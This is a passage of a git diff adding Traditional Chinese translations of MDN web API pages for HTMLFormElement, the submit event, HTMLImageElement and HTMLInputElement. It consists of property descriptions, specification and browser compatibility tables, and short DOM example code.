+  &lt;input type="button" value="set"  onclick="setFormInfo(this.form);"&gt;
+  &lt;input type="reset" value="reset"&gt;&lt;br&gt;
+  &lt;textarea id="tex" style="height:15em; width:20em"&gt;&lt;/textarea&gt;
+ &lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script type="text/javascript"&gt;
+  function getFormInfo(){
+    var info;
+    var f = document.forms["formA"]; //Get a reference to the form via id.
+    info = "elements: " + f.elements     + "\n"
+         + "length: "   + f.length       + "\n"
+         + "name: "     + f.name         + "\n"
+         + "charset: "  + f.acceptCharset+ "\n"
+         + "action: "   + f.action       + "\n"
+         + "enctype: "  + f.enctype      + "\n"
+         + "encoding: " + f.encoding     + "\n"
+         + "method: "   + f.method       + "\n"
+         + "target: "   + f.target;
+    document.forms["formA"].elements['tex'].value = info;
+  }
+  function setFormInfo(f){ //Argument is a reference to the form.
+    f.method = "GET";
+    f.action = "/cgi-bin/evil_executable.cgi";
+    f.name   = "totally_new";
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Submit a form in a <a href="/en-US/docs/Web/API/Window/open">popup window</a>:</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function popupSend (oFormElement) {
+  if (oFormElement.method &amp;&amp; oFormElement.method.toLowerCase() !== "get") {
+    console.error("This script supports the GET method only.");
+    return;
+  }
+  var oField, sFieldType, nFile, sSearch = "";
+  for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+    oField = oFormElement.elements[nItem];
+    if (!oField.hasAttribute("name")) { continue; }
+    sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+    if (sFieldType === "FILE") {
+      for (nFile = 0; nFile &lt; oField.files.length; sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+    } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+      sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+    }
+  }
+  open(oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), "submit-" + (oFormElement.name || Math.floor(Math.random() * 1e6)), "resizable=yes,scrollbars=yes,status=yes");
+}
+&lt;/script&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form name="yourForm" action="test.php" method="get" onsubmit="popupSend(this); return false;"&gt;
+  &lt;p&gt;First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+  Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+  Password: &lt;input type="password" name="pwd" /&gt;&lt;br /&gt;
+  &lt;input type="radio" name="sex" value="male" /&gt; Male &lt;input type="radio" name="sex" value="female" /&gt; Female&lt;/p&gt;
+  &lt;p&gt;&lt;input type="checkbox" name="vehicle" value="Bike" /&gt;I have a bike&lt;br /&gt;
+  &lt;input type="checkbox" name="vehicle" value="Car" /&gt;I have a car&lt;/p&gt;
+  &lt;p&gt;&lt;input type="submit" value="Submit" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="使用_XMLHttpRequest_提交表單及上傳檔案">使用 <code>XMLHttpRequest</code> 提交表單及上傳檔案</h3>
+
+<p>If you want to know how to serialize and submit a form using the {{domxref("XMLHttpRequest")}} API, please read <a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">this paragraph</a>.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#the-form-element", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following method has been added: <code>requestAutocomplete()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-form-element", "HTMLFormElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change. The following method has been added: <code>checkValidity()</code>. The following properties have been added: <code>autocomplete</code>, <code>noValidate</code>, and <code>encoding</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-40002357', 'HTMLFormElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-40002357', 'HTMLFormElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("form") }}.</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlformelement/submit_event/index.html b/files/zh-tw/web/api/htmlformelement/submit_event/index.html
new file mode 100644
index 0000000000..6c5b030f7c
--- /dev/null
+++ b/files/zh-tw/web/api/htmlformelement/submit_event/index.html
@@ -0,0 +1,60 @@
+---
+title: submit
+slug: Web/API/HTMLFormElement/submit_event
+translation_of: Web/API/HTMLFormElement/submit_event
+---
+<p><code>submit</code> 事件會在表單送出時觸發。</p>
+
+<p>要注意的是，<code>submit</code> 事件<strong>只會</strong>在 <a href="/en-US/docs/Web/HTML/Element/form">form element</a> 上觸發， <a href="/en-US/docs/Web/HTML/Element/button">button</a> 或是 <a href="/en-US/docs/Web/HTML/Element/input">submit input</a> 則不會觸發。（送出的是「表單」，而非「按鈕」）</p>
+
+<h2 id="基本資料">基本資料</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">定義規範</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">是 <br>
+ 雖說在規範上這是個不 bubble 的事件</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">是</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">默認行動</dt>
+ <dd style="margin: 0 0 0 120px;">修改（傳送表單內容至伺服器）。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/api/htmlimageelement/index.html b/files/zh-tw/web/api/htmlimageelement/index.html
new file mode 100644
index 0000000000..0bf5e96953
--- /dev/null
+++ b/files/zh-tw/web/api/htmlimageelement/index.html
@@ -0,0 +1,408 @@
+---
+title: HTMLImageElement
+slug: Web/API/HTMLImageElement
+translation_of: Web/API/HTMLImageElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLImageElement</code></strong> 介面提供了特殊的屬性及方法以用來操作 {{HTMLElement("img")}} 元素的畫面佈局與外觀呈現。</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} indicating the alignment of the image with respect to the surrounding context.</dd>
+ <dt>{{domxref("HTMLImageElement.alt")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("alt", "img")}} HTML attribute,  thus indicating fallback context for the image.</dd>
+ <dt>{{domxref("HTMLImageElement.border")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that is responsible for the width of the border surrounding the image. This is now deprecated and the CSS {{cssxref("border")}} property should be used instead.</dd>
+ <dt>{{domxref("HTMLImageElement.complete")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} that is <code>true</code> if the browser has finished fetching the image, whether successful or not. It also shows true, if the image has no {{domxref("HTMLImageElement.src", "src")}} value.</dd>
+ <dt>{{domxref("HTMLImageElement.crossOrigin")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the CORS setting for this image element. See <a href="/en-US/docs/HTML/CORS_settings_attributes">CORS settings attributes</a> for further details.</dd>
+ <dt>{{domxref("HTMLImageElement.currentSrc")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the URL to the currently displayed image (which may change, for example in response to media queries).</dd>
+ <dt>{{domxref("HTMLImageElement.height")}}</dt>
+ <dd>一個反映了 HTML <code>img</code> 元素之 {{htmlattrxref("height", "img")}} 屬性的無符號（<code>unsigned</code>）整數，表示圖片經渲染後的高度（CSS pixels）。</dd>
+ <dt>{{domxref("HTMLImageElement.hspace")}} {{obsolete_inline}}</dt>
+ <dd>Is a <code>long</code> representing the space on either side of the image.</dd>
+ <dt>{{domxref("HTMLImageElement.isMap")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} that reflects the {{htmlattrxref("ismap", "img")}} HTML attribute, indicating that the image is part of a server-side image map.</dd>
+ <dt>{{domxref("HTMLImageElement.longDesc")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the URI of a long description of the image.</dd>
+ <dt>{{domxref("HTMLImageElement.lowSrc")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that refers to a low-quality (but faster to load) copy of the image.</dd>
+ <dt>{{domxref("HTMLImageElement.name")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the name of the element.</dd>
+ <dt>{{domxref("HTMLImageElement.naturalHeight")}} {{readonlyInline}}</dt>
+ <dd>回傳一個代表圖片固有高度（CSS pixels）的無符號（<code>unsigned</code>）整數，如果無法取得則回傳 <code>0</code>。</dd>
+ <dt>{{domxref("HTMLImageElement.naturalWidth")}} {{readonlyInline}}</dt>
+ <dd>回傳一個代表圖片固有寬度（CSS pixels）的無符號（<code>unsigned</code>）整數，如果無法取得則回傳 <code>0</code>。</dd>
+ <dt>{{domxref("HTMLImageElement.referrerPolicy")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerpolicy", "img")}} HTML attribute indicating which referrer to use in order to fetch the image.</dd>
+ <dt>{{domxref("HTMLImageElement.src")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "img")}} HTML attribute, containing the full URL of the image including base URI.</dd>
+ <dt>{{domxref("HTMLImageElement.sizes")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} reflecting the {{htmlattrxref("sizes", "img")}} HTML attribute.</dd>
+ <dt>{{domxref("HTMLImageElement.srcset")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} reflecting the {{htmlattrxref("srcset", "img")}} HTML attribute, containing a list of candidate images, separated by a comma (<code>',', U+002C COMMA</code>). A candidate image is a URL followed by a <code>'w'</code> with the width of the images, or an <code>'x'</code> followed by the pixel density.</dd>
+ <dt>{{domxref("HTMLImageElement.useMap")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("usemap", "img")}} HTML attribute, containing a partial URL of a map element.</dd>
+ <dt>{{domxref("HTMLImageElement.vspace")}} {{obsolete_inline}}</dt>
+ <dd>Is a <code>long</code> representing the space above and below the image.</dd>
+ <dt>{{domxref("HTMLImageElement.width")}}</dt>
+ <dd>一個反映了 HTML <code>img</code> 元素之 {{htmlattrxref("width", "img")}} 屬性的無符號（<code>unsigned</code>）整數，表示圖片經渲染後的寬度（CSS pixels）。</dd>
+ <dt>{{domxref("HTMLImageElement.x")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>long</code> representing the horizontal offset from the nearest layer. This property mimics an old Netscape 4 behavior.</dd>
+ <dt>{{domxref("HTMLImageElement.y")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>long</code> representing the vertical offset from the nearest layer. This property is also similar to behavior of an old Netscape 4.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement.Image()", "Image()")}}</dt>
+ <dd>The <code>Image()</code> constructor, taking two optional <code>unsigned</code> <code>long</code>, which are the width and the height of the resource, creates an instance of <code>HTMLImageElement</code> , not inserted in a DOM tree.</dd>
+</dl>
+
+<h2 id="Errors">Errors</h2>
+
+<p>If an error occurs while trying to load or render the image, and an {{htmlattrxref("onerror")}} event handler has been configured to handle the {{event("error")}} event, that event handler will get called. This can happen in a number of situations, including:</p>
+
+<ul>
+ <li>The {{htmlattrxref("src", "img")}} attribute is empty or <code>null</code>.</li>
+ <li>The specified <code>src</code> URL is the same as the URL of the page the user is currently on.</li>
+ <li>The specified image is corrupted in some way that prevents it from being loaded.</li>
+ <li>The specified image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <code>&lt;img&gt;</code> element's attributes.</li>
+ <li>The specified image is in a format not supported by the {{Glossary("user agent")}}.</li>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var img1 = new Image(); // HTML5 Constructor
+img1.src = 'image1.png';
+img1.alt = 'alt';
+document.body.appendChild(img1);
+
+var img2 = document.createElement('img'); // use DOM <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLImageElement.idl">HTMLImageElement</a>
+img2.src = 'image2.jpg';
+img2.alt = 'alt text';
+document.body.appendChild(img2);
+
+// using first image in the document
+alert(document.images[0].src);
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerPolicy</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#excensions-to-the-htmlimageelement-interface", "Extensions to HTMLImageElement")}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the <code>x</code> and <code>y</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "embedded-content.html#the-img-element", "HTMLImageElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following properties have been added: <code>srcset</code>, <code>currentSrc</code> and <code>sizes</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-img-element", "HTMLImageElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>A constructor (with 2 optional parameters) has been added.<br>
+    The following properties are now obsolete: <code>name</code>, <code>border</code>, <code>align</code>, <code>hspace</code>, <code>vspace</code>, and <code>longdesc</code>.<br>
+    The following properties are now <code>unsigned long</code>, instead of <code>long</code>: <code>height</code>, and <code>width</code>.<br>
+    The following properties have been added: <code>crossorigin</code>, <code>naturalWidth</code>, <code>naturalHeight</code>, and <code>complete</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>lowSrc</code> property has been removed.<br>
+    The following properties are now <code>long</code>, instead of <code>DOMString</code>: <code>height</code>, <code>width</code>, <code>hspace</code>, and <code>vspace</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(34)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>21</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+  <tr>
+   <td><code>currentSrc </code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(33)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> and <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>14<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code> event handler</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(51)}}<sup>[5]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(34)}}</td>
+   <td>{{CompatChrome(34)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+  <tr>
+   <td><code>currentSrc </code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(33)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> and <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>14<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code> event handler</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Though, these <code>x</code> and <code>y</code> properties were removed in Gecko 7.0 {{geckoRelease("7.0")}} but later, they were restored in Gecko 14.0 {{geckoRelease("14.0")}} for compatibility reasons.</p>
+
+<p>[2] This feature is behind the <code>dom.image.srcset.enabled</code> preference, defaulting to <code>false</code>.</p>
+
+<p>[3] This feature is behind the <code>dom.image.picture.enabled</code> preference, defaulting to <code>false</code>.</p>
+
+<p>[4] IE reports <code>false</code> for broken images.</p>
+
+<p>[5] May also be supported in earlier versions.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{HTMLElement("img")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlinputelement/index.html b/files/zh-tw/web/api/htmlinputelement/index.html
new file mode 100644
index 0000000000..f2b9c9c6ef
--- /dev/null
+++ b/files/zh-tw/web/api/htmlinputelement/index.html
@@ -0,0 +1,592 @@
+---
+title: HTMLInputElement
+slug: Web/API/HTMLInputElement
+translation_of: Web/API/HTMLInputElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLInputElement</code></strong> 介面提供了特殊的屬性及方法以操作 <code>input</code> 元素的顯示與佈局。</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Properties" name="Properties">屬性</h2>
+
+<table class="standard-table">
+ <caption>Properties related to the parent form</caption>
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>form </code>{{readonlyInline}}</td>
+   <td><em><code>{{domxref("HTMLFormElement")}} object:</code></em>  Returns a reference to the parent form element.</td>
+  </tr>
+  <tr>
+   <td><code>formAction</code></td>
+   <td><em><code>string</code>: </em>Returns / Sets the element's {{ htmlattrxref("formaction", "input") }} attribute, containing the URI of a program that processes information submitted by the element. This overrides the {{ htmlattrxref("action", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formEncType</code></td>
+   <td><em><code>string</code>:</em> Returns / Sets the element's {{ htmlattrxref("formenctype", "input") }} attribute, containing the type of content that is used to submit the form to the server. This overrides the {{ htmlattrxref("enctype", "form") }} attribute of the parent form.</td>
+  </tr>
+  <tr>
+   <td><code>formMethod</code></td>
